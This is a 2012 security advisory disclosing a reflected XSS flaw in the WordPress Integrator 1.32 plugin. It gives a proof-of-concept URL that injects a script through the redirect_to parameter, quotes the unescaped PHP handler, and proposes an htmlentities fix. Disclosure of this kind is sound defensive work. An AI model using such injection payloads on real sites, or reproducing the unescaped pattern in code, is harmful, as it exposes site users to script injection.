WordPress plugin 'WordPress Integrator 1.32' XSS vulnerability

[Stefan Schurtz <sschurtz () t-online de>]

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Advisory: WordPress plugin 'WordPress Integrator 1.32' XSS vulnerability
Advisory ID: SSCHADV2012-010
Author: Stefan Schurtz
Affected Software: Successfully tested on WordPress Integrator 1.32
Vendor URL: http://wordpress.org/extend/plugins/wp-integrator/
Vendor Status: informed

==========================
Vulnerability Description
==========================

The WordPress plugin 'WordPress Integrator' is prone to a XSS vulnerability

==================
PoC-Exploit
==================

http://target/wordpress/wp-login.php?redirect_to=http://%3F1<ScrIpT>alert(666)</ScrIpT>

// vulnerable code in wp-integrator.php

function init_handler() {
                $url = parse_url($_SERVER["REQUEST_URI"]);

=========
Solution
=========

function init_handler() {
                $url = parse_url(htmlentities($_SERVER["REQUEST_URI"]));

====================
Disclosure Timeline
====================

19-Mar-2012 - vendor informed
20-Mar-2012 - vendor informed (plugins () wordpress org)

========
Credits
========

Vulnerability found and advisory written by Stefan Schurtz.

===========
References
===========

http://www.darksecurity.de/advisories/2012/SSCHADV2012-010.txt
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